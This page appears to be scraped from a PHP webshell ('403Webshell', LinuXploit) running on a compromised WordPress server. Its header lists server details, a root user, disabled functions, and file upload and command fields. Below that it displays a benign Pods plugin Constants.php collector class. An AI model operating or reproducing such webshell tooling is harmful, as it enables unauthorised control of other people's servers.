403Webshell
Server IP : 151.101.66.159  /  Your IP : 216.73.216.66
Web Server : Flywheel/5.1.0
System : Linux wordpress 6.12.113+ #1 SMP Thu Oct 22 02:38:20 UTC 2026 x86_64
User : root ( )
PHP Version : 7.4.33.18
Disable Function : disk_free_space,diskfreespace,dl,exec,fpassthru,getmypid,getmyuid,highlight_file,link,opcache_compile_file,opcache_get_configuration,opcache_is_script_cached,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,phpinfo,popen,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,socket_listen,source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wp-content/plugins/pods/src/Pods/Integrations/Query_Monitor/Collectors/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wp-content/plugins/pods/src/Pods/Integrations/Query_Monitor/Collectors/Constants.php
<?php

namespace Pods\Integrations\Query_Monitor\Collectors;

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

use QM_DataCollector;

/**
 * Class Constants
 *
 * @since 3.2.7
 */
class Constants extends QM_DataCollector {

	public $id = 'pods-constants';

	public function process() {
		$defined_constants = [];
		$undefined_constants = [];

		$constants = [
			'PODS_ACCESS_HIDE_NOTICES',
			'PODS_ALLOW_FULL_META',
			'PODS_API_CACHE',
			'PODS_COMPATIBILITY',
			'PODS_DB_VERSION',
			'PODS_DEBUG_LOGGING',
			'PODS_DEPRECATED',
			'PODS_DEVELOPER',
			'PODS_DIR',
			'PODS_DISABLE_ADMIN_MENU',
			'PODS_DISABLE_CONTENT_MENU',
			'PODS_DISABLE_DYNAMIC_TEMPLATE',
			'PODS_DISABLE_EVAL',
			'PODS_DISABLE_FILE_BROWSER',
			'PODS_DISABLE_FILE_UPLOAD',
			'PODS_DISABLE_META',
			'PODS_DISABLE_META_BODY_CLASSES',
			'PODS_DISABLE_POD_PAGE_CHECK',
			'PODS_DISABLE_SHORTCODE',
			'PODS_DISABLE_SHORTCODE_SQL',
			'PODS_DISABLE_VERSION_OUTPUT',
			'PODS_DISPLAY_CALLBACKS',
			'PODS_DISPLAY_CALLBACKS_ALLOWED',
			'PODS_DYNAMIC_FEATURES_ALLOW',
			'PODS_DYNAMIC_FEATURES_ALLOW_SQL_CLAUSES',
			'PODS_DYNAMIC_FEATURES_ENABLED',
			'PODS_DYNAMIC_FEATURES_RESTRICT',
			'PODS_DYNAMIC_FEATURES_RESTRICTED',
			'PODS_DYNAMIC_FEATURES_RESTRICTED_FORMS',
			'PODS_FIELD_STRICT',
			'PODS_FILE',
			'PODS_FILE_DIRECTORY',
			'PODS_FILES_REQUIRE_LOGIN',
			'PODS_GLOBAL_POD_PAGINATION',
			'PODS_GLOBAL_POD_SEARCH',
			'PODS_GLOBAL_POD_SEARCH_MODE',
			'PODS_LIGHT',
			'PODS_MEDIA',
			'PODS_META_TYPES_ONLY',
			'PODS_MYSQL_VERSION_MINIMUM',
			'PODS_PHP_VERSION_MINIMUM',
			'PODS_PRELOAD_CONFIG_AFTER_FLUSH',
			'PODS_REMOTE_VIEWS',
			'PODS_SESSION_AUTO_START',
			'PODS_SHORTCODE_ALLOW_BLOG_SWITCHING',
			'PODS_SHORTCODE_ALLOW_EVALUATE_TAGS',
			'PODS_SHORTCODE_ALLOW_SUB_SHORTCODES',
			'PODS_SHORTCODE_ALLOW_USER_EDIT',
			'PODS_SHORTCODE_ALLOW_VIEWS',
			'PODS_SLUG',
			'PODS_STATS_TRACKING',
			'PODS_STRICT',
			'PODS_STRICT_MODE',
			'PODS_TABLELESS',
			'PODS_TEMPLATES_ALLOW_OTHER_SHORTCODES',
			'PODS_TEXTDOMAIN',
			'PODS_UPLOAD_REQUIRE_LOGIN',
			'PODS_URL',
			'PODS_VERSION',
			'PODS_WP_VERSION_MINIMUM',
		];

		$undefined_text = __( 'undefined', 'pods' );

		foreach ( $constants as $constant ) {
			if ( defined( $constant ) ) {
				$constant_value = constant( $constant );

				if ( is_bool( $constant_value ) ) {
					$constant_value = parent::format_bool_constant( $constant );
				} elseif ( ! is_scalar( $constant_value ) && null !== $constant_value ) {
					$constant_value = json_encode( $constant_value, JSON_PRETTY_PRINT );
				} else {
					$constant_value = (string) $constant_value;
				}

				$defined_constants[ $constant ] = $constant_value;
			} else {
				$undefined_constants[ $constant ] = $undefined_text;
			}
		}

		$data = array_merge( $defined_constants, $undefined_constants );

		$this->data['constants'] = $data;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit